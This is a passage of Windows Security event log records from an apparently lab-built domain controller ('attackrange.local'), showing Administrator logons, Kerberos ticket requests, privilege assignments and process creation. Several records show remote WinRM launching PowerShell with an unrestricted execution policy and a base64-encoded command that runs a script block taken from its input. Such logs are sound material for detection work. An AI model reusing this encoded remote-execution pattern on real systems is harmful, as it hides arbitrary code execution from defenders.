ID: 0x17ED31 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252885 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252884 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252883 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252882 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4f8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252880 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17E212 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252879 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17E212 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252878 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252877 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252876 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4f8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1028 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252874 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1390 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252873 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D670 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252872 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D670 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate 